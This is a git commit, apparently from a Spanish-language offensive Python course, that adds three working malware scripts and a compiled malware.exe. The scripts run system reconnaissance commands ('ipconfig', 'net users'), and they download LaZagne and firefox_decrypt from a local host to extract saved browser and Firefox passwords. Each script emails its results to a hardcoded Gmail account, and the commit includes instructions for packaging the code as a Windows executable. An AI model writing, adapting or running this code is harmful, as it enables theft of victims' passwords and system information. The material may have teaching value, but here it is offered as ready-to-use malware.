Add malware
This commit is contained in:
parent
352889e2ba
commit
213a859a7d
68
python-ofensivo/15_hacking/10_malware/01_malware.py
Normal file
68
python-ofensivo/15_hacking/10_malware/01_malware.py
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Malware - Envío del resultado de comandos por correo
|
||||||
|
|
||||||
|
Algunas librerías necesitarán instalación si se ejecuta con python directamente.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import dotenv
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import smtplib
|
||||||
|
from email.mime.text import MIMEText
|
||||||
|
|
||||||
|
|
||||||
|
def run_command(command):
|
||||||
|
"""
|
||||||
|
Ejecutor de comandos
|
||||||
|
"""
|
||||||
|
|
||||||
|
output_command = subprocess.check_output(command, shell=True)
|
||||||
|
|
||||||
|
return output_command.decode('cp850')
|
||||||
|
|
||||||
|
|
||||||
|
def send_email(subject, body, sender, recipients, password):
|
||||||
|
"""
|
||||||
|
Envia un email con el reporte configurado
|
||||||
|
"""
|
||||||
|
|
||||||
|
msg = MIMEText(body)
|
||||||
|
msg['Subject'] = subject
|
||||||
|
msg['From'] = sender
|
||||||
|
msg['To'] = ', '.join(recipients)
|
||||||
|
|
||||||
|
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:
|
||||||
|
|
||||||
|
smtp_server.login(sender, password)
|
||||||
|
smtp_server.sendmail(sender, recipients, msg.as_string())
|
||||||
|
|
||||||
|
print(f"[i] Email sent Successfully!\n")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
|
||||||
|
dotenv.load_dotenv()
|
||||||
|
app_passwd = os.getenv("APP_PASSWD")
|
||||||
|
|
||||||
|
ipconfig_output = run_command("ipconfig")
|
||||||
|
|
||||||
|
# Primer correo
|
||||||
|
send_email(
|
||||||
|
"ipconfig INFO",
|
||||||
|
ipconfig_output,
|
||||||
|
"keyloggerseginf@gmail.com",
|
||||||
|
["keyloggerseginf@gmail.com"],
|
||||||
|
app_passwd
|
||||||
|
)
|
||||||
|
|
||||||
|
users_info = run_command("net users")
|
||||||
|
|
||||||
|
# Segundo correo
|
||||||
|
send_email(
|
||||||
|
"users INFO",
|
||||||
|
users_info,
|
||||||
|
"keyloggerseginf@gmail.com",
|
||||||
|
["keyloggerseginf@gmail.com"],
|
||||||
|
app_passwd
|
||||||
|
)
|
85
python-ofensivo/15_hacking/10_malware/02_malware.py
Normal file
85
python-ofensivo/15_hacking/10_malware/02_malware.py
Normal file
@ -0,0 +1,85 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Malware - LaZagne
|
||||||
|
|
||||||
|
LaZagne.exe https://github.com/AlessandroZ/LaZagne
|
||||||
|
|
||||||
|
Este virus no se puede ejecutar con el Windows Defender activado.
|
||||||
|
|
||||||
|
Si lo desactivamos, LaZagne recogerá las contraseñas de los navegadores y lo
|
||||||
|
enviará por correoç
|
||||||
|
|
||||||
|
Algunas librerías necesitarán instalación si se ejecuta con python directamente.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
import dotenv
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
import subprocess
|
||||||
|
import smtplib
|
||||||
|
import tempfile
|
||||||
|
from email.mime.text import MIMEText
|
||||||
|
|
||||||
|
|
||||||
|
def run_command(command):
|
||||||
|
"""
|
||||||
|
Ejecutor de comandos
|
||||||
|
"""
|
||||||
|
|
||||||
|
output_command = subprocess.check_output(command, shell=True)
|
||||||
|
|
||||||
|
return output_command.decode('cp850')
|
||||||
|
|
||||||
|
|
||||||
|
def send_email(subject, body, sender, recipients, password):
|
||||||
|
"""
|
||||||
|
Envia un email con el reporte configurado
|
||||||
|
"""
|
||||||
|
|
||||||
|
msg = MIMEText(body)
|
||||||
|
msg['Subject'] = subject
|
||||||
|
msg['From'] = sender
|
||||||
|
msg['To'] = ', '.join(recipients)
|
||||||
|
|
||||||
|
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:
|
||||||
|
|
||||||
|
smtp_server.login(sender, password)
|
||||||
|
smtp_server.sendmail(sender, recipients, msg.as_string())
|
||||||
|
|
||||||
|
print(f"[i] Email sent Successfully!\n")
|
||||||
|
|
||||||
|
|
||||||
|
def download_and_execute_lazagne():
|
||||||
|
|
||||||
|
r = requests.get("http://192.168.1.120/LaZagne.exe")
|
||||||
|
|
||||||
|
temp_file = tempfile.mkdtemp()
|
||||||
|
|
||||||
|
os.chdir(temp_file)
|
||||||
|
|
||||||
|
with open("LaZagne.exe", "wb") as f:
|
||||||
|
|
||||||
|
f.write(r.content)
|
||||||
|
|
||||||
|
lazagne_output = run_command("LaZagne.exe browsers")
|
||||||
|
|
||||||
|
os.remove("LaZagne.exe")
|
||||||
|
|
||||||
|
return lazagne_output
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
|
||||||
|
output = download_and_execute_lazagne()
|
||||||
|
|
||||||
|
dotenv.load_dotenv()
|
||||||
|
app_passwd = os.getenv("APP_PASSWD")
|
||||||
|
|
||||||
|
send_email(
|
||||||
|
"LaZagne Browser INFO",
|
||||||
|
output,
|
||||||
|
"keyloggerseginf@gmail.com",
|
||||||
|
["keyloggerseginf@gmail.com"],
|
||||||
|
app_passwd
|
||||||
|
)
|
129
python-ofensivo/15_hacking/10_malware/03_malware.py
Normal file
129
python-ofensivo/15_hacking/10_malware/03_malware.py
Normal file
@ -0,0 +1,129 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# coding: cp850
|
||||||
|
"""
|
||||||
|
Malware - firefox_decrypt.py
|
||||||
|
|
||||||
|
Firefox Decrypt https://github.com/unode/firefox_decrypt
|
||||||
|
|
||||||
|
La construcción del ejecutables es con pyinstaller y se ejecuta así:
|
||||||
|
|
||||||
|
pyinstaller --oneline malware.py
|
||||||
|
|
||||||
|
Para que funcione el .exe se debe harcodear el password y no usar dotenv
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
import dotenv
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import smtplib
|
||||||
|
import tempfile
|
||||||
|
from email.mime.text import MIMEText
|
||||||
|
|
||||||
|
|
||||||
|
def run_command(command):
|
||||||
|
"""
|
||||||
|
Ejecutor de comandos
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
output_command = subprocess.check_output(command, shell=True)
|
||||||
|
|
||||||
|
return output_command.decode('cp850').strip()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
|
||||||
|
print(f"\n[!] Error al ejecutar el comando {command}.\nError: {e}")
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def send_email(subject, body, sender, recipients, password):
|
||||||
|
"""
|
||||||
|
Envia un email con el reporte de teclas presionadas
|
||||||
|
"""
|
||||||
|
|
||||||
|
msg = MIMEText(body)
|
||||||
|
msg['Subject'] = subject
|
||||||
|
msg['From'] = sender
|
||||||
|
msg['To'] = ', '.join(recipients)
|
||||||
|
|
||||||
|
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:
|
||||||
|
|
||||||
|
smtp_server.login(sender, password)
|
||||||
|
smtp_server.sendmail(sender, recipients, msg.as_string())
|
||||||
|
|
||||||
|
print(f"[i] Email sent Successfully!\n")
|
||||||
|
|
||||||
|
|
||||||
|
def get_firefox_profiles(username):
|
||||||
|
|
||||||
|
path = f"C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
|
||||||
|
|
||||||
|
try:
|
||||||
|
profiles = [profile for profile in os.listdir(
|
||||||
|
path) if "release" in profile]
|
||||||
|
|
||||||
|
return profiles[0] if profiles else None
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
|
||||||
|
print(f"\n[!] Error al obtener el profile de Firefox.\nError: {e}")
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def get_firefox_passwords(username, profiles):
|
||||||
|
|
||||||
|
r = requests.get("http://192.168.1.120/firefox_decrypt.py")
|
||||||
|
|
||||||
|
temp_dir = tempfile.mkdtemp()
|
||||||
|
|
||||||
|
os.chdir(temp_dir)
|
||||||
|
|
||||||
|
with open("firefox_decrypt.py", "wb") as f:
|
||||||
|
|
||||||
|
f.write(r.content)
|
||||||
|
|
||||||
|
command = f"python firefox_decrypt.py C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\{profiles}"
|
||||||
|
|
||||||
|
passwords = run_command(command)
|
||||||
|
|
||||||
|
os.remove("firefox_decrypt.py")
|
||||||
|
|
||||||
|
return passwords
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
|
||||||
|
username_str = run_command("whoami")
|
||||||
|
username = username_str.split("\\")[1]
|
||||||
|
|
||||||
|
profiles = get_firefox_profiles(username)
|
||||||
|
|
||||||
|
if not username or not profiles:
|
||||||
|
|
||||||
|
sys.exit(
|
||||||
|
f"\n[!] No ha sido posible obtener el nombre de usuario o el profile válido de firefox")
|
||||||
|
|
||||||
|
passwords = get_firefox_passwords(username, profiles)
|
||||||
|
|
||||||
|
if passwords:
|
||||||
|
|
||||||
|
dotenv.load_dotenv()
|
||||||
|
app_passwd = os.getenv("APP_PASSWD")
|
||||||
|
|
||||||
|
send_email(
|
||||||
|
"Decrypted Firefox Passwords INFO",
|
||||||
|
passwords,
|
||||||
|
"keyloggerseginf@gmail.com",
|
||||||
|
["keyloggerseginf@gmail.com"],
|
||||||
|
app_passwd
|
||||||
|
)
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
|
print(f"[!] No se han encontrado contraseñas")
|
1220
python-ofensivo/15_hacking/10_malware/firefox_decrypt.py
Normal file
1220
python-ofensivo/15_hacking/10_malware/firefox_decrypt.py
Normal file
File diff suppressed because it is too large
Load Diff
BIN
python-ofensivo/15_hacking/10_malware/malware.exe
Normal file
BIN
python-ofensivo/15_hacking/10_malware/malware.exe
Normal file
Binary file not shown.
Loading…
Reference in New Issue
Block a user